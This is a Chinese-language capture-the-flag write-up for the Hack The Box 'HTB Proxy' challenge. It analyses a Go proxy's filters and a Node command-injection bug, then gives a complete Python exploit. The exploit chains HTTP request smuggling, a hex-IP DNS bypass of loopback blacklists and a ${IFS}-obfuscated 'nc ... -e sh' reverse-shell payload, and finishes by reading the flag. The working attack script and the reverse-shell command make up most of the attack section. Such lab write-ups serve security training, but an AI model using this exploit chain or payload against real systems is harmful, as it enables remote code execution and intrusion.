HTB Proxy wp
分析
后端有一个flushInterface
app.post("/flushInterface", validateInput, async (req, res) => {
const { interface } = req.body;
try {
const addr = await ipWrapper.addr.flush(interface);
res.json(addr);
} catch (err) {
res.status(401).json({message: "Error flushing interface"});
}
});
app.listen(5000, () => {
console.log("Network utils API is up on :5000");
});其中ip-wrapper库会拼接命令,有rce漏洞,这是我们最终利用点
虽然过滤了空格
const validateInput = (req, res, next) => {
const { interface } = req.body;
if (
!interface ||
typeof interface !== "string" ||
interface.trim() === "" ||
interface.includes(" ")
) {
return res.status(400).json({message: "A valid interface is required"});
}
next();
}但是linux下用${IFS}即可绕过
有个代理,golang,会有如下检查
host解析后不为本地回环
func checkIfLocalhost(address string) (bool, error) { IPs, err := net.LookupIP(address) if err != nil { return false, err } for _, ip := range IPs { if ip.IsLoopback() { return true, nil } } return false, nil }还有ip地址过滤
func blacklistCheck(input string) bool { var match bool = strings.Contains(input, string([]byte{108, 111, 99, 97, 108, 104, 111, 115, 116})) || strings.Contains(input, string([]byte{48, 46, 48, 46, 48, 46, 48})) || strings.Contains(input, string([]byte{49, 50, 55, 46})) || strings.Contains(input, string([]byte{49, 55, 50, 46})) || strings.Contains(input, string([]byte{49, 57, 50, 46})) || strings.Contains(input, string([]byte{49, 48, 46})) return match }正文是否包含黑名单字符
func checkMaliciousBody(body string) (bool, error) { patterns := []string{ "[`;&|]", `\$\([^)]+\)`, `(?i)(union)(.*)(select)`, `<script.*?>.*?</script>`, `\r\n|\r|\n`, `<!DOCTYPE.*?\[.*?<!ENTITY.*?>.*?>`, } for _, pattern := range patterns { match, _ := regexp.MatchString(pattern, body) if match { return true, nil } } return false, nil }过滤了bash相关字符,有点难受
另外额外定义了一个路由,ban了flushInterface
if request.URL == string([]byte{47, 115, 101, 114, 118, 101, 114, 45, 115, 116, 97, 116, 117, 115}) {
var serverInfo string = GetServerInfo()
var responseText string = okResponse(serverInfo)
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}
if strings.Contains(strings.ToLower(request.URL), string([]byte{102, 108, 117, 115, 104, 105, 110, 116, 101, 114, 102, 97, 99, 101})) {
var responseText string = badReqResponse("Not Allowed")
frontendConn.Write([]byte(responseText))
frontendConn.Close()
return
}这个路由挺有用的,会给当前ip,也就是说可以通过域名绕过本地回环过滤和ip过滤
func GetServerInfo() string {
hostname, err := os.Hostname()
if err != nil {
hostname = "unknown"
}
addrs, err := net.InterfaceAddrs()
if err != nil {
addrs = []net.Addr{}
}
var ips []string
for _, addr := range addrs {
if ipNet, ok := addr.(*net.IPNet); ok && !ipNet.IP.IsLoopback() {
if ipNet.IP.To4() != nil {
ips = append(ips, ipNet.IP.String())
}
}
}
ipList := strings.Join(ips, ", ")
info := fmt.Sprintf("Hostname: %s, Operating System: %s, Architecture: %s, CPU Count: %d, Go Version: %s, IPs: %s",
hostname, runtime.GOOS, runtime.GOARCH, runtime.NumCPU(), runtime.Version(), ipList)
return info
}测试后发现,这个proxy会导致请求走私,并且
var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")
//省略
if len(bodySplit) <= 1 {
return nil, fmt.Errorf("invalid content length")
}
var bodyContent string = bodySplit[1]检查仅针对第一条请求,这便可以绕过以上一系列的过滤了。。。
攻击
首先获取ip
root@enoch:~# curl http://94.237.123.178:56437/server-status
Hostname: ng-2521611-webhtbproxybiz2024-yl0vu-656b98dbbb-2bwjd, Operating System: linux, Architecture: amd64, CPU Count: 4, Go Version: go1.21.10, IPs: 192.168.26.201获取到ip为192.168.26.201,用自己的域名或者c0a81ac9.nip.io(16进制)
结合上面的分析写出脚本
import socket
host = "c0a81ac9.sslip.io:5000"
payload = '{"interface":";nc ip port -e sh"}'.replace(" ", "${IFS}")
a = "POST /flushInterface HTTP/1.1\r\n"
a += "Host: 127.0.0.1\r\n"
a += "Content-Type: application/json\r\n"
a += "Content-Length: {}\r\n\r\n{}".format(len(payload), payload)
b = "POST /getAddresses HTTP/1.1\r\n"
b += "Host: {}\r\n".format(host)
b += "Content-Type: application/x-www-form-urlencoded\r\n"
b += "Content-Length: 1\r\n\r\n1"
b += "\r\n\r\n{}".format(a)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('94.237.123.178', 56437))
s.sendall(b.encode("ascii"))成功弹shell
cat /flaged150ff540.txt
HTB{xxxxxxxxxx_xxx_xxxxx_xxxx}
许可协议:
CC BY 4.0